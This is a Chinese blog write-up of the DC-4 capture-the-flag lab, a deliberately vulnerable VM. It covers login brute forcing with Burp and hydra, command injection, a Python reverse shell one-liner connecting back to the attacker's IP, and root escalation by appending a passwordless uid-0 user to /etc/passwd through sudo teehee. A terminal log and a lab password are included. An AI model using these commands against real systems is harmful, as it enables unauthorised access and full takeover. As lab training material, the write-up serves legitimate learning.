DC-4渗透笔记SUDO -l

文章讲述了黑客通过网络扫描、信息收集、爆破尝试和提权过程,逐步渗透一个系统,最终获取用户名和密码,利用反弹shell技术获得root权限,并寻找flag的过程。
摘要由CSDN通过智能技术生成

前期:

首先来找找靶机ip:先查看MAC 地址

来到kali攻击机;arp-scan -l,找到目标mac地址对应的IP地址:

信息搜集:

dirb目录扫描器来扫描一下:

没东西,御剑:

dirsearch:(也没有扫到有用的东西)

指纹识别:

常见手段都没有找到什么有用的东西

看来只能从那个登录页面下手了:

爆破

随便试试admin/123,发现预想中的“密码错误”报错没有

不死心,抓个包看看:

发现确实没东西,但是根据登录页面上的“Admin Information Systems Login”可以大致猜一下,用户名应该是admin;但是还不知道密码,则:

在kali中的该目录下有很多密码文件,选择一个来爆破(当然也可以使用自己平时积累的密码字典)

cd /usr/share/wordlists/dirb

在这里,我所使用的是/usr/share/wordlists/dirb下的big.txt

用户名为admin,从kali中借用一下密码字典,开始攻击:

首先,bp抓包并发送到intruder模块:

选择有效负载位置为password以及攻击类型为:Sniper(狙击手模式)

之后,有效载和类型选择简单清单即可,导入爆破使用的密码文件:

完成好排配置之后点击右上角的开始攻击:

攻击完成后可以发现如下:

发现这一行的长跟其他的不同,代表就是成功了;查看一下响应,确实是这样的,成功!

拿到用户名以及密码:admin/happy

拿shell

登录;在登录之后发现是一个简单的查看文件的页面:

也没有什么特殊的点,只能再次尝试抓包看看有没有什么突破口:

抓包,发送到Repeater模块:

发现规律,应该可以通过修改radio来执行其他命令

简单尝试一下发现是可行的,尝试写入木马文件:

发现失败,简单尝试其他的一句话木马的变形式发现也没有用,那就试试反弹shell吧:

首先,先在攻击机上开启监听端口:

nc -lvvp 4444

其次,上传反弹一句话木马:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.134.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

成功!

后期+提权

接下来经过一番查找之后发现在/home目录下有三个用户:

但是,其中只有jim目录下有东西文件,但mbox文件无法打开:

没办法,就只能来查看backups目录了:

发现一个文件,cat之后看到是一堆的密码,应该是jim这个用户使用过的密码,可能现在的密码也在里面也说不定,使用弱口令检查工具来爆破试一试:

首先,先将文件中的所有密码复制到一个单独的文本文档中:

之后,打开超级弱口令检查工具来尝试ssh(之前的端口扫描中是开放了22端口的)

或者,还有一个方法,使用kali自带的hydra也是可以成功爆破的,命令如下:

hydra -l sam -P password.txt 192.168.0.138 ssh -vV

一样都可以拿到jim的密码,

直接来到kali新建一个会话来ssh连接:

ssh jim@192.168.134.195

连接成功!

来看看能不能查看之前无法查看的mbox文件:

可以,文件的大致内容是root用户发送了邮件给jim,就来想办法把这个邮件找出来:

之后发现就只有jim一封邮件,查看一下内容:

大致意思就是说,charles这个人假期要出去玩,但是怕有工作无法及时处理,所以就把密码发给jim了,,,厉害 这下可以直接切换用户切换到charles:

接下来应该就是提权找flag了,来看看有哪些命令:

使用teehee来提权:→__→

在sudo -l 之后看到一个teehee, 在这里我们用teehee -a这条命令来向/etc/passwd中写入一个账户密码,且该用户是拥有root权限的,之后只需要切换到我们刚创建的用户下就可以完成提权了

同时,在这里解释一下teehee: teehee 并不是一个标准的 Linux 命令,它可能是一个自定义的脚本或者别名,或者仅仅是一个开发者用来逗趣的玩笑。

sudo -l
echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
su test
id
whoami
->root

这里,小小解释下“echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd”

(其实我就是chatgpt了一下,哈哈,莫怪)

  • test:用户名
  • 0:密码字段,实际密码被加密后存储,0 表示没有密码(通常使用 /etc/shadow 存储密码)
  • 0:用户 ID(UID),表示用户的唯一标识符
  • :::占位符,用于保持一致性,表示空的用户组 ID(GID)和注释字段
  • :/bin/bash:用户的默认 shell,即登录后默认使用的命令行解释器

sudo 是以管理员权限运行命令的工具,teehee 则是一个命令的别名。它的作用是将标准输入的内容写入一个文件,并且 -a 参数表示追加到文件末尾。因此,整个命令的作用是将指定的用户信息追加到 /etc/passwd 文件中。借此,达到我们新创建了一个test用户(无密码),但是却有root权限,接下来切换过去就行了

至于sudo -l 则是查看在有哪些命令能使用,这个点参考了如下文章:(感谢大佬分享)

su、sudo、sudo su、sudo -i sudo -l的用法和区别-CSDN博客

成功:

之后直接用find命令直接查找flag的位置就可以了:

find / -name *flag*

cat:

┌──(root㉿kali)-[/home/kali/Desktop]
└─# ssh jim@192.168.134.195        
The authenticity of host '192.168.134.195 (192.168.134.195)' can't be established.
ED25519 key fingerprint is SHA256:0CH/AiSnfSSmNwRAHfnnLhx95MTRyszFXqzT03sUJkk.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.134.195' (ED25519) to the list of known hosts.
jim@192.168.134.195's password: 
Linux dc-4 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u5 (2017-09-19) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have mail.
Last login: Sun Apr  7 02:23:55 2019 from 192.168.0.100
jim@dc-4:~$ ls
backups  mbox  test.sh
jim@dc-4:~$ cat mbox
From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)
        (envelope-from <root@dc-4>)
        id 1hCiQe-0000gc-EC
        for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO

This is a test.

jim@dc-4:~$ cd /var/spool/mail
jim@dc-4:/var/spool/mail$ ls
jim
jim@dc-4:/var/spool/mail$ cat jim
From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
        (envelope-from <charles@dc-4>)
        id 1hCjIX-0000kO-Qt
        for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O

Hi Jim,

I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong.

Password is:  ^xHhA&hvim0y

See ya,
Charles

jim@dc-4:/var/spool/mail$ su charles
Password: 
charles@dc-4:/var/spool/mail$ whoami
charles
charles@dc-4:/var/spool/mail$ sudo -l
Matching Defaults entries for charles on dc-4:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User charles may run the following commands on dc-4:
    (root) NOPASSWD: /usr/bin/teehee
charles@dc-4:/var/spool/mail$ echo "test::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
test::0:0:::/bin/bash
charles@dc-4:/var/spool/mail$ su test
root@dc-4:/var/spool/mail# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-4:/var/spool/mail# whoami
root
root@dc-4:/var/spool/mail# find -name "flag"
root@dc-4:/var/spool/mail# find / -name *flag*
/usr/share/man/nl/man1/dpkg-buildflags.1.gz
/usr/share/man/de/man1/dpkg-buildflags.1.gz
/usr/share/man/man3/fesetexceptflag.3.gz
/usr/share/man/man3/fegetexceptflag.3.gz
/usr/share/man/man2/ioctl_iflags.2.gz
/usr/share/man/man1/dpkg-buildflags.1.gz
/usr/share/dpkg/buildflags.mk
/usr/include/linux/tty_flags.h
/usr/include/linux/kernel-page-flags.h
/usr/include/i386-linux-gnu/asm/processor-flags.h
/usr/include/i386-linux-gnu/bits/waitflags.h
/usr/bin/dpkg-buildflags
/usr/lib/i386-linux-gnu/perl/5.24.1/bits/waitflags.ph
/sys/kernel/debug/tracing/events/power/pm_qos_update_flags
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
/sys/devices/platform/serial8250/tty/ttyS2/flags
/sys/devices/platform/serial8250/tty/ttyS0/flags
/sys/devices/platform/serial8250/tty/ttyS3/flags
/sys/devices/platform/serial8250/tty/ttyS1/flags
/sys/devices/system/cpu/cpu0/microcode/processor_flags
/sys/devices/virtual/net/lo/flags
/sys/module/scsi_mod/parameters/default_dev_flags
/root/flag.txt
/proc/sys/kernel/acpi_video_flags
/proc/kpageflags

root@dc-4:/var/spool/mail# cat /root/flag.txt



888       888          888 888      8888888b.                             888 888 888 888 
888   o   888          888 888      888  "Y88b                            888 888 888 888 
888  d8b  888          888 888      888    888                            888 888 888 888 
888 d888b 888  .d88b.  888 888      888    888  .d88b.  88888b.   .d88b.  888 888 888 888 
888d88888b888 d8P  Y8b 888 888      888    888 d88""88b 888 "88b d8P  Y8b 888 888 888 888 
88888P Y88888 88888888 888 888      888    888 888  888 888  888 88888888 Y8P Y8P Y8P Y8P 
8888P   Y8888 Y8b.     888 888      888  .d88P Y88..88P 888  888 Y8b.      "   "   "   "  
888P     Y888  "Y8888  888 888      8888888P"   "Y88P"  888  888  "Y8888  888 888 888 888 


Congratulations!!!

Hope you enjoyed DC-4.  Just wanted to send a big thanks out there to all those
who have provided feedback, and who have taken time to complete these little
challenges.

If you enjoyed this CTF, send me a tweet via @DCAU7.
root@dc-4:/var/spool/mail# 

小结:中间拿到shell 在目录中查看文件还是挺麻烦的,也比较枯燥,可以下来再多进去逛逛,且这次的提权方法也比较少见,之后再用其他方法试试

  • 46
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值